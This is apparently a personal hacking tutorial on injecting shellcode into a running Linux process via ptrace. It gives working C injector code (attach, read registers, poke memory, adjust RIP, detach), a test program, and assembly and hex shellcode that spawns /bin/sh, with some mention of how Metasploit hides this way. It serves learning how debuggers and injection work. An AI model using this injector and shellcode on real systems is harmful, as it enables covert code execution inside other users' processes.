PoC || GTFO

Hacking Tutorials

Injecting a Running Process (Linux)

Injection-Fairy-Lily.jpg

Injecting a Running Process in Linux

Special Thanks to the OP of Tutorial 0x00pfpico @0x00pico
for creating the tutorial that I followed.

Code used in this tutorial (I suggest at least typing it out yourself, but to each their own teacher).
injfect.c
Hello.c

For some time now, I've been curious as to how metasploit can inject itself into running processes to hide itself. I've also been curious as to how debuggers worked, but I spent most my time learning how to use them and understanding the structure of programs. Through this exercise, I was able to learn about ptrace and SIGTRAPs. There's always another, deeper, rabbit hole. 6,^
Essentially, the entire process can be broken down as such:

  1. Attach to the a current running process by gathering its PID.
  2. Send a SIGSTOP to the program to halt it's execution
  3. Dump its registers (specifically rip/eip)
  4. Write your code to the stack where rip is pointing to.
  5. Send a SIGCONT to the program to return control.
  6. Profit.

asciicast

First thing's first, going over signals and traps.


Jinzo_GX.jpg

Signals and Traps


SIGTRAP. "Signals" are a form of inter-process-communication (IPC) that notifies a thread an event has happened. Division by zero has a SIGFPE "floating point exception" signal and segmentation fault have SIGSEGV "segmentation violation".

  • Ctrl+C sends SIGINT (signal interrupt) - terminates process
  • Ctrl+Z sends SIGTSTP (terminal stop) - suspends execution
  • Ctrl+\ sends SIGQUIT (quit \lol/) - terminates process and provides core dump
  • Ctrl+T sends SIGINFO (info) - OS shows information about running command

"SIGSYS: The SIGSYS signal is sent to a process when it passes a bad argument to a system call. In practice, this kind of signal is rarely encountered since applications rely on libraries (e.g. libc) to make the call for them. SIGSYS can be received by applications violating the Linux Seccomp security rules configured to restrict them."

Back to ptrace magic. This will allow us to pause execution, dump the registers, and let us change them to whatever we'd like. Fuckyeah.


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#include <sys/user.h>
#include <sys/reg.h>

int
main (int argc, char *argv[])
{
  pid_t                   target;
  struct user_regs_struct regs;
  int                     syscall;
  long                    dst;

  if (argc != 2)
    {
      fprintf (stderr, "Usage:\n\t%s pid\n", argv[0]);
      exit (1);
    }
  target = atoi (argv[1]);
  printf ("+ Tracing process %d\n", target);
  if ((ptrace (PTRACE_ATTACH, target, NULL, NULL)) < 0)
    {
      perror ("ptrace(ATTACH):");
      exit (1);
    }
  printf ("+ Waiting for process...\n");
  wait (NULL);

They're other traces that programs like gdb and dbx use such as strace and ltrace. ptrace is primarily used for patching running programs. "By attaching to another process using the ptrace call, a tool has extensive control over the operation of its target. This includes manipulation of its file descriptors, memory, and registers." The first parameter we use for ptrace is the PTRACE_ATTACH, which "attach[es] to the process specified in the pid, making it a tracee of the calling process. The tracee is sent a SIGSTOP, but will not necessarily have stopped by the completion of this call; use waitpid(2) to wait for the tracee to stop." The pid is the next argument. The last two are for an *address and *data, but we will NULL these out.


Injection Code


This is where we can get creative.

  • We can insert our code at the current instruction (EIP//RIP)  being executed. Downside of this, is that it will destroy the target process and will make it impossible for the program to recover its original functionality. This is a "loud" way of doing the job, but it gets the job done.
  • We can inject the code at the address where the main() is located. There's a chance that the code there has some initialization that only happens during the beginning of execution, which may keep the original functionality working as expected. (I have yet to test this, but it sounds like something fun to play with!)
  • We can inject our code using one of the ELF Injection techniques (again, need to try!)
  • Lastly, we can inject our code into the stack like your average buffer overflow, but this might be a program if the stack in NX (Non-eXecutable).

We will be doing the first option. We'll be injecting our a shell via shellcode. But first, we're gonna need to get some registers. Let's ptrace these MFs.


Get the Registers and Smash the Memory


  printf ("+ Getting Registers\n");
  if ((ptrace (PTRACE_GETREGS, target, NULL, &regs)) < 0)
    {
      perror ("ptrace(GETREGS):");
      exit (1);
    }

  printf ("+ Injecting shell code at %p\n", (void*)regs.rip);
  inject_data (target, shellcode, (void*)regs.rip, SHELLCODE_SIZE);
  regs.rip += 2;

Using ptrace(PTRACE_GETREGS), we are able to get the registers of the process we have under control. The next part, we will use a function to inject our shellcode into the target process. We get RIP via regs.rip, and place our code where rip points to.

Something that threw me off when doing this tutorial, is that regs.rip += 2; command. We will return to that in 2 sections. Keep reading!


int
inject_data (pid_t pid, unsigned char *src, void *dst, int len)
{
  int      i;
  uint32_t *s = (uint32_t *) src;
  uint32_t *d = (uint32_t *) dst;

  for (i = 0; i < len; i+=4, s++, d++)
    {
      if ((ptrace (PTRACE_POKETEXT, pid, d, *s)) < 0)
    {
      perror ("ptrace(POKETEXT):");
      return -1;
    }
    }
  return 0;
}

PTRACE_POKETEXT writes our injected code to memory, but it only works on words. So we use 32 bits/4 bytes, and increment i by 4. 


Running the injected code


After the target process memory has been modified, we give control back to the program. They're multiple ways to do this, but we will just detach from the target process.

  printf ("+ Setting instruction pointer to %p\n", (void*)regs.rip);
  if ((ptrace (PTRACE_SETREGS, target, NULL, &regs)) < 0)
    {
      perror ("ptrace(GETREGS):");
      exit (1);
    }
  printf ("+ Run it!\n");
 
  if ((ptrace (PTRACE_DETACH, target, NULL, NULL)) < 0)
    {
      perror ("ptrace(DETACH):");
      exit (1);
    }
  return 0;
}

When we modify the instruction pointer, ptrace(PTRACE_DETACH, ...) subtracts 2 bytes to the Instruction Pointer. The OP of this tutorial explained that he first attempted to inject code into the stack, but learned the stack of his program was non-executable. He used the execstack tool to turn it on, then attempted to use gdb to break down his program. He then came across another issue, in that, you cannot debug the same program with two debuggers at the same time. It causes a segmentation fault and core dump. Here, his results show they are 2 bytes off.


Screen Shot 2017-11-07 at 11.29.34 AM.png
Screen Shot 2017-11-07 at 11.29.39 AM.png

Adding +2 more bytes to RIP allows for the injection to work properly.


Testing Program


This is a little Hello World program that just spits its PID, next says "Hello World", then waits 2 seconds before reprintf-ing again.


#include <stdio.h>
#include <unistd.h>

int main()
{   
    int i;

    printf ("PID: %d\n", (int)getpid());
    for(i = 0;i < 10; ++i) {

    write (1, "Hello World\n", 12);
        sleep(2);
    }
    getchar();
    return 0;
}

The Shellcode OP uses is as followed.


section .text
        global _start

_start:
        xor rax,rax
        mov rdx,rax             ; No Env
        mov rsi,rax             ; No argv
        lea rdi, [rel msg]

        add al, 0x3b

        syscall
        msg db '/bin/sh',0

Final Words


This is the extent I have gone into using ptrace. As I continue to learn, I hope to learn more about how debuggers work, and how to manipulate programs more. I think it's so fascinating when you're able to take something apart and do things that was not originally set for a program to be able to do. Again, I got this tutorial from 0x00sec.org. OP is 0x00pf pico, whom has shared much with the community. If it wasn't for him, I might not have learned this as quickly as I did. I hope this little writeup I did provides another way to learn the same exact material. Lastly, here's some shellcode user _py provided to make the injection a bit more easier.


#define SHELLCODE_SIZE 32

/* Spawn a shell */
unsigned char *shellcode =
  "\x48\x31\xc0\x48\x89\xc2\x48\x89"
  "\xc6\x48\x8d\x3d\x04\x00\x00\x00"
  "\x04\x3b\x0f\x05\x2f\x62\x69\x6e"
  "\x2f\x73\x68\x00\xcc\x90\x90\x90";

_py's entire program is here.

Again, Special Thanks to the OP of Tutorial 0x00pfpico @0x00pico
and here's the link to his tutorial.

Resources:
https://0x00sec.org/t/linux-infecting-running-processes/1097
https://en.wikipedia.org/wiki/Signal_(IPC)
https://0x00sec.org/t/re-guide-for-beginners-bypassing-sigtrap/2648
https://en.wikipedia.org/wiki/Ptrace
http://man7.org/linux/man-pages/man2/ptrace.2.html

Chris Magistrado